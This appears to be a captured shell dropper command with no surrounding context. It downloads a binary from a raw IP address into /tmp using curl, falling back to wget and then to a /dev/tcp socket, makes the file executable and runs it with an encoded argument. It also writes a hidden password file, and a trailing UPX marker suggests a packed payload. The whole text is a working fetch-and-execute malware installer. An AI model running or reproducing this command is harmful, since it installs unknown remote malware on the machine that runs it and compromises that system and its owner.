nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/aaowy5CExz; if [ ! -f /tmp/aaowy5CExz ]; then wget http://129.144.180.26:60107/linux -O /tmp/aaowy5CExz; fi; if [ ! -f /tmp/aaowy5CExz ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/aaowy5CExz && chmod +x /tmp/aaowy5CExz && /tmp/aaowy5CExz nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bz[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/aaowy5CExz && /tmp/aaowy5CExz nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bz[...]" &#UPX!